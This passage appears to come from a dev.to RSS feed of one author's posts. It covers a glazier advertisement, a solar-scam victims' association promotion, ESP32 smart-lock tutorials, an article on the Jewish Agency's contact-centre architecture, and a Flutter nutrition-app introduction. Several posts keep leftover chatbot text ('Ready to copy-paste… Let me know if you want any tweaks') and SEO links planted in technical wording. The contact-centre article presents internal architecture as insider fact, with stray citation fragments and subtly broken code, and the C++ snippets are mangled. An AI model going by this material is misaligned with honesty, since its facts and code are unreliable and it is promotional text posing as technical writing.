&lt;p&gt;With over &lt;strong&gt;15 years of experience&lt;/strong&gt;, the team guarantees:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Transparent pricing with &lt;strong&gt;free detailed quotes&lt;/strong&gt; (no commitment)&lt;/li&gt;
&lt;li&gt;10-year warranty on work&lt;/li&gt;
&lt;li&gt;Full professional civil liability insurance&lt;/li&gt;
&lt;li&gt;Stock of common glass types for express interventions&lt;/li&gt;
&lt;li&gt;Compliance with all current French standards&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Available 24 hours a day, 7 days a week&lt;/strong&gt; — including nights, weekends, and public holidays.&lt;/p&gt;

&lt;h3&gt;
  
  
  Why Choose Vitrier Pontault-Combault?
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Ultra-fast response time across Pontault-Combault (77340) and surrounding areas&lt;/li&gt;
&lt;li&gt;On-site temporary security measures after breakage&lt;/li&gt;
&lt;li&gt;Expert advice for energy savings and security&lt;/li&gt;
&lt;li&gt;100% guaranteed workmanship&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Whether it’s a simple cracked window or a full commercial glazing project, they handle it quickly and professionally.&lt;/p&gt;

&lt;h3&gt;
  
  
  Take Action Now – Free Quote in Minutes
&lt;/h3&gt;

&lt;p&gt;Get an &lt;strong&gt;immediate response&lt;/strong&gt; and a free quote directly on the official website:&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;&lt;a href="https://vitrier-pontault-combault.fr/" rel="noopener noreferrer"&gt;https://vitrier-pontault-combault.fr/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Call now for emergencies:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
📞 &lt;strong&gt;06 40 74 92 32&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  Quick Tips to Choose the Right Vitrier
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Always choose a company that offers 24/7 emergency service&lt;/li&gt;
&lt;li&gt;Demand a free quote before any work&lt;/li&gt;
&lt;li&gt;Check for insurance and warranty coverage&lt;/li&gt;
&lt;li&gt;Prefer local professionals who know the area&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Glass and window problems don’t wait — and neither should your repair. In 2026, having a trusted local vitrier on speed dial makes all the difference.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Direct link to the service:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;&lt;a href="https://vitrier-pontault-combault.fr/" rel="noopener noreferrer"&gt;https://vitrier-pontault-combault.fr/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Ready to copy-paste&lt;/strong&gt; — just paste the entire block above into the dev.to editor. The frontmatter will set the title and tags automatically. Let me know if you want any changes (more SEO keywords, different tone, etc.)!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Solar Panel Scams in France: Thousands of Homeowners Trapped</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Wed, 15 Apr 2026 08:16:33 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/solar-panel-scams-in-france-thousands-of-homeowners-trapped-52ch</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/solar-panel-scams-in-france-thousands-of-homeowners-trapped-52ch</guid>
      <description>&lt;h1&gt;
  
  
  Solar Panel Scams in France: Thousands of Homeowners Trapped – The Association Helping Them Fight Back
&lt;/h1&gt;

&lt;p&gt;⚠️ &lt;strong&gt;Have you been cold-called or visited at home about “cheap” solar panels? Are you stuck with an expensive loan for an installation that barely produces electricity? You are not alone.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;For more than ten years, the photovoltaic market in France has been targeted by aggressive salespeople and outright scammers. Promises of “panels for 1 €”, payback in 5–8 years (the real figure is often 15–20+ years), high-pressure sales, abusive linked credits, non-compliant installations, or systems that were never even connected to the grid… the list of victims runs into the thousands.&lt;/p&gt;

&lt;p&gt;That’s why &lt;strong&gt;the Association des Victimes du Photovoltaïque&lt;/strong&gt; was created.&lt;/p&gt;

&lt;h3&gt;
  
  
  What the Association Does for Victims
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Free and fast analysis&lt;/strong&gt; of your contract + financing documents&lt;/li&gt;
&lt;li&gt;Direct connection to &lt;strong&gt;specialised lawyers&lt;/strong&gt; who handle photovoltaic litigation&lt;/li&gt;
&lt;li&gt;Practical guides to cancel contracts, challenge loans, and claim compensation&lt;/li&gt;
&lt;li&gt;Personal support, victim testimonials, and a private community&lt;/li&gt;
&lt;li&gt;Average success rate of &lt;strong&gt;≈ 65 %&lt;/strong&gt; on the cases they accompany&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  The 6 Most Common Photovoltaic Scams (All 100 % Avoidable)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Door-to-door or phone pressure with no technical visit&lt;/li&gt;
&lt;li&gt;Fake promises about energy production and return on investment&lt;/li&gt;
&lt;li&gt;Installers without mandatory RGE certification&lt;/li&gt;
&lt;li&gt;Abusive contract clauses and hidden costs&lt;/li&gt;
&lt;li&gt;Linked credit traps with sky-high interest rates&lt;/li&gt;
&lt;li&gt;Poor-quality or defective installations that don’t meet standards&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;If you think you’ve been scammed, act now.&lt;/strong&gt; The sooner you contact the association, the higher your chances of cancelling the contract or recovering your money (right of withdrawal, misrepresentation, bank liability, etc.).&lt;/p&gt;

&lt;h3&gt;
  
  
  Take Action Today – It’s Free and Without Commitment
&lt;/h3&gt;

&lt;p&gt;Get a &lt;strong&gt;free case review&lt;/strong&gt; directly on the official website:&lt;/p&gt;

&lt;p&gt;👉 &lt;strong&gt;&lt;a href="https://victimesduphotovoltaique.com/" rel="noopener noreferrer"&gt;https://victimesduphotovoltaique.com/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;You can also reach them by:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Phone: &lt;strong&gt;01 73 04 80 70&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;Email: &lt;a href="mailto:contact@victimesduphotovoltaique.com"&gt;contact@victimesduphotovoltaique.com&lt;/a&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  How to Protect Yourself (Simple Rules)
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;Register on Bloctel to block cold calls&lt;/li&gt;
&lt;li&gt;Never sign on the spot — always demand a proper on-site technical assessment&lt;/li&gt;
&lt;li&gt;Check the installer’s RGE qualification on the official database&lt;/li&gt;
&lt;li&gt;Compare at least 3 quotes&lt;/li&gt;
&lt;li&gt;Read the &lt;strong&gt;entire contract&lt;/strong&gt; before signing anything&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Solar energy is an excellent technology when done correctly. Unfortunately, bad actors are still exploiting it in 2026. Share this article to warn your friends and family.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Direct link to the Association:&lt;/strong&gt;&lt;br&gt;&lt;br&gt;
&lt;strong&gt;&lt;a href="https://[victimesduphotovoltaique.com](victimesduphotovoltaique.com)/" rel="noopener noreferrer"&gt;https://victimesduphotovoltaique.com/&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Tags you can add on dev.to:&lt;/strong&gt; #SolarScam #Photovoltaic #ConsumerRights #France #RenewableEnergy #ScamAlert&lt;/p&gt;




&lt;p&gt;&lt;strong&gt;Ready to copy-paste&lt;/strong&gt; — just paste the whole block above into the dev.to editor. The frontmatter will automatically set the title and tags. Let me know if you want any tweaks!&lt;/p&gt;

</description>
    </item>
    <item>
      <title>Building Your Own Secure ESP32 Smart Lock</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Wed, 15 Apr 2026 06:37:04 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/building-your-own-secure-esp32-smart-lock-5a25</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/building-your-own-secure-esp32-smart-lock-5a25</guid>
      <description>&lt;h1&gt;
  
  
  Building Your Own Secure ESP32 Smart &lt;a href="//serrurier-charenton.fr"&gt;Lock&lt;/a&gt;: Complete Technical Tutorial (2026)
&lt;/h1&gt;

&lt;p&gt;Creating your own connected smart lock is one of the most rewarding IoT projects. It combines embedded programming, wireless communication, cryptography, and real-world security. In this hands-on guide, we'll build a production-capable smart lock using the ESP32, Bluetooth Low Energy (BLE), and cloud integration.&lt;/p&gt;

&lt;p&gt;Whether you're a hobbyist or a professional developer looking to understand connected lock architecture, this tutorial gives you a solid, secure foundation you can extend with Matter, Home Assistant, or commercial deployment.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Project Overview and Requirements
&lt;/h2&gt;

&lt;p&gt;Our smart lock will feature:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Remote unlock/lock via smartphone (BLE + optional cloud)&lt;/li&gt;
&lt;li&gt;Secure command authentication&lt;/li&gt;
&lt;li&gt;Door status monitoring&lt;/li&gt;
&lt;li&gt;Battery-powered operation with low power consumption&lt;/li&gt;
&lt;li&gt;Over-the-air (OTA) firmware updates&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Hardware Bill of Materials (BOM):&lt;/strong&gt;&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;ESP32 DevKit or ESP32-S3 (recommended)&lt;/li&gt;
&lt;li&gt;12V or 24V DC motor + driver (L298N or DRV8833)&lt;/li&gt;
&lt;li&gt;High-torque lock actuator or solenoid&lt;/li&gt;
&lt;li&gt;3.7V LiPo battery or 4x AA batteries + TP4056 charger&lt;/li&gt;
&lt;li&gt;Hall effect sensor or limit switches for position feedback&lt;/li&gt;
&lt;li&gt;MPU6050 or LIS3DH accelerometer for tamper detection&lt;/li&gt;
&lt;li&gt;Reed switch for door open/closed detection&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  2. Firmware Setup with ESP-IDF or Arduino
&lt;/h2&gt;

&lt;p&gt;We'll use the ESP-IDF framework for better performance and security (Arduino is also possible for faster prototyping).&lt;/p&gt;

&lt;p&gt;First, create the project and enable BLE and Wi-Fi:&lt;/p&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;
cpp
// main.cpp - ESP32 Smart Lock Core
#include "esp_log.h"
#include "ble_server.h"
#include "motor_control.h"
#include "tamper_detection.h"

#define LOCK_PIN  26
#define UNLOCK_PIN 27

void app_main(void) {
    ESP_LOGI("LOCK", "Starting Secure Smart Lock v1.0");

    // Initialize NVS, BLE, and sensors
    init_nvs();
    start_ble_server();
    init_motor();
    init_tamper_sensor();

    // Deep sleep configuration for battery life
    configure_deep_sleep();
}
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

</description>
    </item>
    <item>
      <title>Developing Connected Smart Locks</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Wed, 15 Apr 2026 06:31:43 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/developing-connected-smart-locks-2io6</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/developing-connected-smart-locks-2io6</guid>
      <description>&lt;p&gt;`# Developing Connected Smart Locks: A Technical Deep Dive into IoT Door Security for Developers&lt;/p&gt;

&lt;p&gt;Smart locks — or &lt;em&gt;connected locks&lt;/em&gt; (&lt;a href="https://securycles.fr" rel="noopener noreferrer"&gt;serrures connectées&lt;/a&gt;) — have moved from consumer gadgets to critical infrastructure in modern IoT ecosystems. As developers, we’re not just unlocking doors; we’re building systems that must handle real-time access control, end-to-end encryption, multi-protocol communication, and resilience against physical and cyber threats.&lt;/p&gt;

&lt;p&gt;In this guide, we’ll explore the full technical stack of a production-grade connected smart lock: hardware architecture, wireless protocols, firmware development, mobile/cloud integration, and security hardening. Whether you’re prototyping with ESP32 or architecting an enterprise-grade solution, you’ll walk away with actionable patterns you can implement today.&lt;/p&gt;

&lt;h2&gt;
  
  
  1. Hardware Architecture of a Modern Smart Lock
&lt;/h2&gt;

&lt;p&gt;A connected smart lock is essentially a low-power embedded system with these core components:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Actuator&lt;/strong&gt;: Motorized deadbolt or solenoid (12V/24V) driven via relay or MOSFET. Most commercial units use high-torque DC motors with position feedback via Hall-effect sensors or limit switches.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Microcontroller&lt;/strong&gt;: ESP32 (dual-core Xtensa, Wi-Fi + BLE) or Nordic nRF52 series for ultra-low-power BLE-only designs. STM32 is common in certified lock cylinders.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Communication Modules&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;Bluetooth Low Energy (BLE 5.0+) for local pairing and control.&lt;/li&gt;
&lt;li&gt;Wi-Fi (802.11b/g/n) or Thread for cloud connectivity.&lt;/li&gt;
&lt;li&gt;Optional: Z-Wave or Zigbee for mesh home automation.&lt;/li&gt;
&lt;/ul&gt;


&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Sensors&lt;/strong&gt;: IMU for tamper detection, reed switch for door state, battery voltage monitor, and optional fingerprint/RFID reader.&lt;/li&gt;

&lt;li&gt;

&lt;strong&gt;Power Management&lt;/strong&gt;: CR123A or 4x AA lithium batteries with deep-sleep current &amp;lt; 10µA. Expect 6–12 months autonomy.&lt;/li&gt;

&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Pro tip&lt;/strong&gt;: Use a dedicated power-management IC (like the BQ24075) and a watchdog timer to survive brownouts — a common failure point in real deployments.&lt;/p&gt;

&lt;h2&gt;
  
  
  2. Communication Protocols: BLE, Matter, and Beyond
&lt;/h2&gt;

&lt;p&gt;The protocol layer determines interoperability and security.&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Use Case&lt;/th&gt;
&lt;th&gt;Range&lt;/th&gt;
&lt;th&gt;Power&lt;/th&gt;
&lt;th&gt;Security Model&lt;/th&gt;
&lt;th&gt;Maturity in Locks&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;BLE 5.x&lt;/td&gt;
&lt;td&gt;Local control &amp;amp; commissioning&lt;/td&gt;
&lt;td&gt;10–50m&lt;/td&gt;
&lt;td&gt;Very low&lt;/td&gt;
&lt;td&gt;AES-CCM + ECDH pairing&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Wi-Fi&lt;/td&gt;
&lt;td&gt;Cloud remote access&lt;/td&gt;
&lt;td&gt;LAN/WAN&lt;/td&gt;
&lt;td&gt;Medium&lt;/td&gt;
&lt;td&gt;TLS 1.3 + certificate pinning&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Matter&lt;/td&gt;
&lt;td&gt;Cross-ecosystem (Apple/Google/Amazon)&lt;/td&gt;
&lt;td&gt;Mesh/IP&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;PASE + CASE + DAC certificates&lt;/td&gt;
&lt;td&gt;Emerging (2025+)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Zigbee/Thread&lt;/td&gt;
&lt;td&gt;Mesh home automation&lt;/td&gt;
&lt;td&gt;10–100m&lt;/td&gt;
&lt;td&gt;Low&lt;/td&gt;
&lt;td&gt;AES-128 + network key&lt;/td&gt;
&lt;td&gt;Stable&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Matter&lt;/strong&gt; (formerly CHIP) is the future-proof choice. It runs over IP (Wi-Fi/Thread) with Bluetooth for commissioning and uses the Connectivity Standards Alliance’s device attestation certificates. If you’re starting a new project in 2026, target Matter 1.3+ — it eliminates vendor lock-in while enforcing cryptographic best practices.&lt;/p&gt;

&lt;p&gt;For legacy Bluetooth-only locks like the popular WE.LOCK cylinders, communication is AES-encrypted at the command level with dynamic session keys derived from a shared secret established during pairing.&lt;/p&gt;

&lt;h2&gt;
  
  
  3. Firmware Development: From Boot to Secure OTA
&lt;/h2&gt;

&lt;p&gt;Write firmware in C/C++ with FreeRTOS or Zephyr for maintainability. Key modules:&lt;/p&gt;

&lt;p&gt;&lt;code&gt;&lt;/code&gt;`cpp&lt;br&gt;
// Pseudocode example – ESP32 BLE + relay control&lt;/p&gt;

&lt;h1&gt;
  
  
  include 
&lt;/h1&gt;

&lt;h1&gt;
  
  
  include 
&lt;/h1&gt;

&lt;p&gt;class LockServer : public BLEServerCallbacks {&lt;br&gt;
  void onConnect(BLEServer* pServer) override {&lt;br&gt;
    // Start encrypted session with ECDH&lt;br&gt;
    startSecureSession();&lt;br&gt;
  }&lt;br&gt;
};&lt;/p&gt;

&lt;p&gt;void setup() {&lt;br&gt;
  BLEDevice::init("SecureLock-XXXX");&lt;br&gt;
  BLEServer* pServer = BLEDevice::createServer();&lt;br&gt;
  pServer-&amp;gt;setCallbacks(new LockServer());&lt;/p&gt;

&lt;p&gt;// GATT service for lock control (UUID 0x1813)&lt;br&gt;
  BLEService* lockService = pServer-&amp;gt;createService(SERVICE_UUID);&lt;br&gt;
  BLECharacteristic* lockChar = lockService-&amp;gt;createCharacteristic(&lt;br&gt;
    CHAR_UUID, &lt;br&gt;
    BLECharacteristic::PROPERTY_WRITE | BLECharacteristic::PROPERTY_NOTIFY&lt;br&gt;
  );&lt;/p&gt;

&lt;p&gt;lockChar-&amp;gt;setCallbacks(new LockCommandCallback());&lt;br&gt;
  lockService-&amp;gt;start();&lt;br&gt;
  BLEDevice::startAdvertising();&lt;br&gt;
}&lt;/p&gt;

&lt;p&gt;void handleLockCommand(uint8_t* data, size_t len) {&lt;br&gt;
  // AES-GCM decrypt + HMAC validation&lt;br&gt;
  if (verifyCommandAuth(data)) {&lt;br&gt;
    digitalWrite(RELAY_PIN, HIGH); // Unlock&lt;br&gt;
    delay(5000);&lt;br&gt;
    digitalWrite(RELAY_PIN, LOW);  // Relock&lt;br&gt;
    notifyStateChange();&lt;br&gt;
  }&lt;br&gt;
}`&lt;/p&gt;

</description>
      <category>architecture</category>
      <category>iot</category>
      <category>security</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>Inside the Jewish Agency’s Global Service Center</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Sun, 18 May 2025 19:28:07 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/inside-the-jewish-agencys-global-service-center-423c</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/inside-the-jewish-agencys-global-service-center-423c</guid>
      <description>&lt;p&gt;1 · Business Context&lt;br&gt;
One hotline, six languages (&lt;a href="https://fr.yedidut.org.il/" rel="noopener noreferrer"&gt;Hebrew&lt;/a&gt;, English, French, Spanish, Portuguese, Russian) and 39 toll-free numbers. &lt;br&gt;
The Jewish Agency for Israel - U.S.&lt;/p&gt;

&lt;p&gt;Voice, email, web-forms and WhatsApp (+972-52-474-0024) flow into one triage queue. &lt;br&gt;
The Jewish Agency for Israel - U.S.&lt;/p&gt;

&lt;p&gt;100 K+ inquiries/year ranging from basic eligibility checks to full family relocation dossiers.&lt;/p&gt;

&lt;p&gt;2 · High-Level Architecture&lt;br&gt;
mermaid&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
graph TD&lt;br&gt;
  subgraph Front Door&lt;br&gt;
    WebForm[["Next.js form"]] --&amp;gt; SFAPI&lt;br&gt;
    WhatsApp[[WhatsApp]] --&amp;gt; Twilio&lt;br&gt;
    Twilio --&amp;gt; Webhook&lt;br&gt;
    Voice[[Telephony / WebRTC]] --&amp;gt; CTI&lt;br&gt;
  end&lt;/p&gt;

&lt;p&gt;subgraph Core CRM&lt;br&gt;
    SFAPI[Salesforce REST+Bulk] --&amp;gt; SVC[Service Cloud]&lt;br&gt;
    Webhook --&amp;gt; AzureFn&lt;br&gt;
    AzureFn --&amp;gt; SVC&lt;br&gt;
    CTI -- OpenCTI --&amp;gt; SVC&lt;br&gt;
  end&lt;/p&gt;

&lt;p&gt;subgraph DataOps&lt;br&gt;
    SVC --&amp;gt; Plauti[Plauti Deduplicate]&lt;br&gt;
    SVC --&amp;gt; DW[(Azure SQL DW)]&lt;br&gt;
    DW --&amp;gt; PowerBI[Power BI]&lt;br&gt;
  end&lt;br&gt;
Service Cloud stores Contact, Account and custom AliyahCase_&lt;em&gt;c objects; each inbound interaction becomes a Case with parent AliyahCase&lt;/em&gt;_c.&lt;/p&gt;

&lt;p&gt;Twilio handles WhatsApp and SMS; a Node.js webhook (deployed as Azure Function) upserts the Contact and opens/updates the Case.&lt;/p&gt;

&lt;p&gt;CTI layer (Avaya or Genesys; any Salesforce-OpenCTI-compliant switch) feeds call-metadata in real time.&lt;/p&gt;

&lt;p&gt;Nightly Azure Data Factory jobs snapshot Salesforce via Bulk API to a SQL DW for analytics.&lt;/p&gt;

&lt;p&gt;The choice of Salesforce is no secret—Jewish Agency has been a customer since 2007, with in-house subsidiary TechUnity acting as primary SI. &lt;br&gt;
Salesforce AppExchange&lt;br&gt;
Plauti&lt;/p&gt;

&lt;p&gt;Their privacy policy also lists Salesforce, Azure, AWS, Oracle Eloqua, Zoom as core providers. &lt;br&gt;
The Jewish Agency for Israel - U.S.&lt;/p&gt;

&lt;p&gt;3 · Inbound Flow in Detail&lt;br&gt;
a) WhatsApp → Salesforce in &amp;lt;1 s&lt;br&gt;
js&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;br&gt;
// /api/whatsapp-webhook (Azure Function / Node 20)&lt;br&gt;
import sf from './salesforce.js';        // jsforce wrapper&lt;br&gt;
export default async (req, res) =&amp;gt; {&lt;br&gt;
  const { WaId, Body, ProfileName } = req.body;&lt;br&gt;
  // 1. Upsert Contact&lt;br&gt;
  const contactId = await sf.upsert('Contact', {&lt;br&gt;
    MobilePhone: &lt;code&gt;+${WaId}&lt;/code&gt;,&lt;br&gt;
    LastName: ProfileName || 'WhatsApp User'&lt;br&gt;
  }, 'MobilePhone');&lt;br&gt;
  // 2. Create or Update open Case&lt;br&gt;
  const [ caseId ] = await sf.tooling.query(&lt;code&gt;&lt;br&gt;
      SELECT Id FROM Case&lt;br&gt;
      WHERE ContactId='${contactId}' AND Status!='Closed'&lt;br&gt;
      ORDER BY CreatedDate DESC LIMIT 1&lt;/code&gt;);&lt;br&gt;
  const CaseFields = {&lt;br&gt;
    ContactId: contactId,&lt;br&gt;
    Origin: 'WhatsApp',&lt;br&gt;
    Subject: Body.slice(0,80),&lt;br&gt;
    Description: Body,&lt;br&gt;
    Status: 'New'&lt;br&gt;
  };&lt;br&gt;
  await sf.upsert('Case', { Id: caseId?.Id, ...CaseFields });&lt;br&gt;
  return res.sendStatus(204);&lt;br&gt;
};&lt;br&gt;
b) Voice &amp;amp; CTI&lt;br&gt;
Screen-pop: OpenCTI shows agent a Lightning Console tab keyed by ANI (caller ID).&lt;/p&gt;

&lt;p&gt;Disposition codes map to Salesforce “Quick Actions” on the Case.&lt;/p&gt;

&lt;p&gt;3-second SLA for record retrieval comes from caching Contact rows in Redis in Azure Functions.&lt;/p&gt;

&lt;p&gt;c) Web Forms&lt;br&gt;
The public Global Center form (/global_service_center) posts to Salesforce via Web-to-Case with GraphQL fallback if spam-score ≤ 0.7.&lt;/p&gt;

&lt;p&gt;4 · Keeping the Data Clean&lt;br&gt;
During the 2022 Ukraine crisis, duplicate rates spiked; TechUnity installed Plauti Deduplicate (100 % native) bringing manual merge time from 1.5 h → 30 min per day. &lt;br&gt;
Plauti&lt;/p&gt;

&lt;p&gt;Key rules:&lt;/p&gt;

&lt;p&gt;Field   Fuzzy Algo  Threshold&lt;br&gt;
First/Last (HE&amp;lt;–&amp;gt;EN)  Jaro–Winkler + transliteration    ≥ 0.88&lt;br&gt;
DOB + Passport  Exact   1&lt;br&gt;
Phone (E.164)   Exact   1&lt;/p&gt;

&lt;p&gt;All merges gate on a manual approval queue—critical when you’re moving families across borders.&lt;/p&gt;

&lt;p&gt;5 · Dev &amp;amp; Release Pipeline&lt;br&gt;
Stage   Tooling&lt;br&gt;
Source-of-truth GitHub Enterprise mono-repo&lt;br&gt;
CI  GitHub Actions (salesforcedx + npm ci)&lt;br&gt;
Scratch Orgs    Spun per PR, seeded via sfdx force:source:push&lt;br&gt;
Static Tests    ESLint, PMD Apex, OWASP ZAP on Next.js front-end&lt;br&gt;
QA  FullCopy sandbox refreshed nightly&lt;br&gt;
Prod Deploy sfdx force:org:deploy + Azure Bicep for infra&lt;/p&gt;

&lt;p&gt;Zero-downtime is achieved with blue/green Functions slots and Salesforce Quick Deploy (validation runs hours earlier).&lt;/p&gt;

&lt;p&gt;6 · Security &amp;amp; Compliance Notes&lt;br&gt;
PII at rest encrypted by Salesforce Shield; cross-cloud data in Azure SQL encrypted with TDE.&lt;/p&gt;

&lt;p&gt;GDPR Article 46 transfers are covered via SCCs; Israel has adequacy, US workloads ride on DPF/ SCC.&lt;/p&gt;

&lt;p&gt;Agents authenticate via Azure AD SAML → Salesforce SSO; MFA enforced.&lt;/p&gt;

&lt;p&gt;7 · What We’d Do Differently&lt;br&gt;
Event-Driven mesh – migrate webhook plumbing to Azure Event Grid &amp;amp; Functions for better fan-out.&lt;/p&gt;

&lt;p&gt;Real-time translation – add Amazon Translate layer so less-common languages auto-bridge to Hebrew agents.&lt;/p&gt;

&lt;p&gt;Open Telemetry everywhere – today only Functions &amp;amp; CTI emit spans; Salesforce Event Monitoring would complete the picture.&lt;/p&gt;

&lt;p&gt;8 · Takeaways&lt;br&gt;
Even a 95-year-old nonprofit can ship a cloud-native, API-first contact-center.&lt;/p&gt;

&lt;p&gt;Data quality is the hidden hero—don’t scale inquiries until you master dedupe.&lt;/p&gt;

&lt;p&gt;Treat every inbound channel as just another JSON payload; your CRM is the single truth.&lt;/p&gt;

&lt;p&gt;Questions, ideas, war stories? Drop them below or ping me on GitHub – always happy to talk CRM architecture for social-impact scale-ups!&lt;/p&gt;

</description>
      <category>webdev</category>
      <category>programming</category>
      <category>javascript</category>
      <category>beginners</category>
    </item>
    <item>
      <title>Building OpenNutriTracker: A Privacy-First Nutrition App You Can Hack On 🚀</title>
      <dc:creator>Jeremy Libeskind</dc:creator>
      <pubDate>Sun, 18 May 2025 19:18:40 +0000</pubDate>
      <link>https://dev.to/jeremy_libeskind_4bfdc99f/building-opennutritracker-a-privacy-first-nutrition-app-you-can-hack-on-2k9l</link>
      <guid>https://dev.to/jeremy_libeskind_4bfdc99f/building-opennutritracker-a-privacy-first-nutrition-app-you-can-hack-on-2k9l</guid>
      <description>&lt;p&gt;L;DR: OpenNutriTracker is a cross-platform calorie and nutrition tracker written in Flutter, licensed under GPL-3.0, and powered by the Open Food Facts and USDA FoodData Central databases. In this post you’ll learn what problems it solves, how its clean-architecture codebase is laid out, and how you can spin it up locally in under five minutes—then start contributing real features.&lt;/p&gt;

&lt;p&gt;Why Another &lt;a href="https://www.dieteticiennes-pau.fr/nutrition-a-pau/" rel="noopener noreferrer"&gt;Nutrition &lt;/a&gt;App?&lt;br&gt;
Most mainstream food-logging apps are closed-source, ad-heavy, and monetize your data. OpenNutriTracker flips that model on its head:&lt;/p&gt;

&lt;p&gt;100 % open source—anyone can audit or extend the code.&lt;/p&gt;

&lt;p&gt;Local-first storage—your diary never leaves your device unless you decide otherwise.&lt;/p&gt;

&lt;p&gt;No ads, no in-app purchases, no subscriptions.&lt;/p&gt;

&lt;p&gt;That combination makes it a perfect playground for developers who want to practice mobile development and ship something immediately useful to friends and family. &lt;br&gt;
GitHub&lt;/p&gt;

&lt;p&gt;Under the Hood&lt;br&gt;
Layer   Tech / Pattern  Why It’s There&lt;br&gt;
UI  Flutter + Material 3 (with custom theming)  Single codebase for Android &amp;amp; iOS, blazing-fast hot reload&lt;br&gt;
State   Riverpod    Unidirectional data flow &amp;amp; testability&lt;br&gt;
Data    Hive for local storage  Lightweight, no SQL boilerplate&lt;br&gt;
APIs    Open Food Facts &amp;amp; USDA FDC  Millions of community-maintained nutrition records &lt;br&gt;
GitHub&lt;br&gt;
CI/CD   GitHub Actions + Fastlane   Automated builds and store deployments&lt;br&gt;
License GPL-3.0 Guarantees the app—and derivatives—stay libre &lt;br&gt;
GitHub&lt;/p&gt;

&lt;p&gt;The repo also follows a Clean Architecture folder structure (presentation → domain → data) to keep UI, business logic, and external services nicely decoupled.&lt;/p&gt;

&lt;p&gt;Spinning It Up Locally&lt;br&gt;
bash&lt;br&gt;
Copier&lt;br&gt;
Modifier&lt;/p&gt;

&lt;h1&gt;
  
  
  1. Clone the repo
&lt;/h1&gt;

&lt;p&gt;git clone &lt;a href="https://github.com/simonoppowa/OpenNutriTracker.git" rel="noopener noreferrer"&gt;https://github.com/simonoppowa/OpenNutriTracker.git&lt;/a&gt;&lt;br&gt;
cd OpenNutriTracker&lt;/p&gt;

&lt;h1&gt;
  
  
  2. Pull dependencies
&lt;/h1&gt;

&lt;p&gt;flutter pub get&lt;/p&gt;

&lt;h1&gt;
  
  
  3. Fire up an emulator or plug in a device, then:
&lt;/h1&gt;

&lt;p&gt;flutter run&lt;br&gt;
